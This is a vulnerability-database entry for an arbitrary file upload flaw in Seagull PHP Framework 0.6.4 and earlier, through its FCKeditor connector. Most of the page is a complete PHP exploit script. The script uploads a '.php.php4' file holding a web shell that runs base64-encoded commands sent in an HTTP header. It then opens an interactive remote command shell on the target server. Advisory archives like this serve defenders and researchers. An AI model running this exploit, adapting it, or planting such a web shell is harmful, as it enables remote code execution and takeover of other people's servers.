Lucene search
K

Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit

🗓️ 28 Jun 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by EgiX. Vulnerable code exists in /www/tinyfck/filemanager/connectors/php/config.php. An attacker might be able to upload arbitrary files containing malicious PHP code due to improper file extension checking

Code

                                                &lt;?php

/*
	------------------------------------------------------------------------
	Seagull&nbsp;PHP&nbsp;Framework&nbsp;&lt;=&nbsp;0.6.4&nbsp;(fckeditor)&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit
	------------------------------------------------------------------------
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.....:&nbsp;http://seagullproject.org/
	details..:&nbsp;works&nbsp;only&nbsp;with&nbsp;a&nbsp;specific&nbsp;server&nbsp;configuration&nbsp;(e.g.&nbsp;an&nbsp;Apache&nbsp;server&nbsp;with&nbsp;the&nbsp;mod_mime&nbsp;module&nbsp;installed)

	[-]&nbsp;vulnerable&nbsp;code&nbsp;in&nbsp;/www/tinyfck/filemanager/connectors/php/config.php
	
	33.	//&nbsp;SECURITY:&nbsp;You&nbsp;must&nbsp;explicitelly&nbsp;enable&nbsp;this&nbsp;&quot;connector&quot;.&nbsp;(Set&nbsp;it&nbsp;to&nbsp;&quot;true&quot;).
	34.	$Config['Enabled']&nbsp;=&nbsp;true&nbsp;;
	35.	
	36.	//&nbsp;Path&nbsp;to&nbsp;user&nbsp;files&nbsp;relative&nbsp;to&nbsp;the&nbsp;document&nbsp;root.
	37.	$Config['UserFilesPath']&nbsp;=&nbsp;SGL_BASE_URL&nbsp;.&nbsp;'/images/'&nbsp;;
	38.	
	39.	//&nbsp;Fill&nbsp;the&nbsp;following&nbsp;value&nbsp;it&nbsp;you&nbsp;prefer&nbsp;to&nbsp;specify&nbsp;the&nbsp;absolute&nbsp;path&nbsp;for&nbsp;the
	40.	//&nbsp;user&nbsp;files&nbsp;directory.&nbsp;Usefull&nbsp;if&nbsp;you&nbsp;are&nbsp;using&nbsp;a&nbsp;virtual&nbsp;directory,&nbsp;symbolic
	41.	//&nbsp;link&nbsp;or&nbsp;alias.&nbsp;Examples:&nbsp;'C:\\MySite\\UserFiles\\'&nbsp;or&nbsp;'/root/mysite/UserFiles/'.
	42.	//&nbsp;Attention:&nbsp;The&nbsp;above&nbsp;'UserFilesPath'&nbsp;must&nbsp;point&nbsp;to&nbsp;the&nbsp;same&nbsp;directory.
	43.	$Config['UserFilesAbsolutePath']&nbsp;=&nbsp;SGL_WEB_ROOT.'/images/';
	44.	
	45.	$Config['AllowedExtensions']['File']&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;array()&nbsp;;
	46.	$Config['DeniedExtensions']['File']&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm',&nbsp;[...]
	47.	
	48.	$Config['AllowedExtensions']['Image']&nbsp;&nbsp;&nbsp;=&nbsp;array('jpg','gif','jpeg','png')&nbsp;;
	49.	$Config['DeniedExtensions']['Image']&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;array()&nbsp;;
	50.	
	51.	$Config['AllowedExtensions']['Flash']&nbsp;&nbsp;&nbsp;=&nbsp;array('swf','fla')&nbsp;;
	52.	$Config['DeniedExtensions']['Flash']&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;array()&nbsp;;
	53.	
	54.	$Config['AllowedExtensions']['Media']&nbsp;&nbsp;&nbsp;=&nbsp;array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg')&nbsp;;
	55.	$Config['DeniedExtensions']['Media']&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;array()&nbsp;;
	
	with&nbsp;a&nbsp;default&nbsp;configuration&nbsp;of&nbsp;this&nbsp;script,&nbsp;an&nbsp;attacker&nbsp;might&nbsp;be&nbsp;able&nbsp;to&nbsp;upload&nbsp;arbitrary
	files&nbsp;containing&nbsp;malicious&nbsp;PHP&nbsp;code&nbsp;due&nbsp;to&nbsp;multiple&nbsp;file&nbsp;extensions&nbsp;isn't&nbsp;properly&nbsp;checked
*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);

define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	}
	fputs($sock,&nbsp;$packet);
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1024);
	fclose($sock);
	return&nbsp;$resp;
}

print&nbsp;&quot;\n+--------------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;Seagull&nbsp;&lt;=&nbsp;0.6.4&nbsp;(fckeditor)&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+--------------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage......:&nbsp;php&nbsp;$argv[0]&nbsp;host&nbsp;path\n&quot;;
	print&nbsp;&quot;\nExample....:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/&quot;;
	print&nbsp;&quot;\nExample....:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/seagull/\n&quot;;
	die();
}

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];

$filename&nbsp;&nbsp;=&nbsp;md5(time()).&quot;.php.php4&quot;;
$connector&nbsp;=&nbsp;&quot;tinyfck/filemanager/connectors/php/connector.php&quot;;

$payload&nbsp;&nbsp;=&nbsp;&quot;--o0oOo0o\r\n&quot;;
$payload&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;NewFile\&quot;;&nbsp;filename=\&quot;{$filename}\&quot;\r\n\r\n&quot;;
$payload&nbsp;.=&nbsp;&quot;&lt;?php&nbsp;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}&nbsp;?&gt;\r\n&quot;;
$payload&nbsp;.=&nbsp;&quot;--o0oOo0o--\r\n&quot;;

$packet&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;{$path}{$connector}?Command=FileUpload&amp;Type=File&amp;CurrentFolder=%2f&nbsp;HTTP/1.0\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($payload).&quot;\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=o0oOo0o\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet&nbsp;.=&nbsp;$payload;

preg_match(&quot;/OnUploadCompleted\((.*),\&quot;(.*)\&quot;\)/i&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$html);
if&nbsp;(!in_array(intval($html[1]),&nbsp;array(0,&nbsp;201)))&nbsp;die(&quot;\n[-]&nbsp;Upload&nbsp;failed!&nbsp;(Error&nbsp;{$html[1]})\n&quot;);

while(1)
{
	print&nbsp;&quot;\nseagull-shell#&nbsp;&quot;;
	$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
	if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
	{
		$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}images/File/{$html[2]}&nbsp;HTTP/1.0\r\n&quot;;
		$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$output&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		if&nbsp;(!preg_match(&quot;/_code_/&quot;,&nbsp;$output))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$shell&nbsp;&nbsp;=&nbsp;explode(&quot;_code_&quot;,&nbsp;$output);
		print&nbsp;&quot;\n{$shell[1]}&quot;;
	}
	else&nbsp;break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation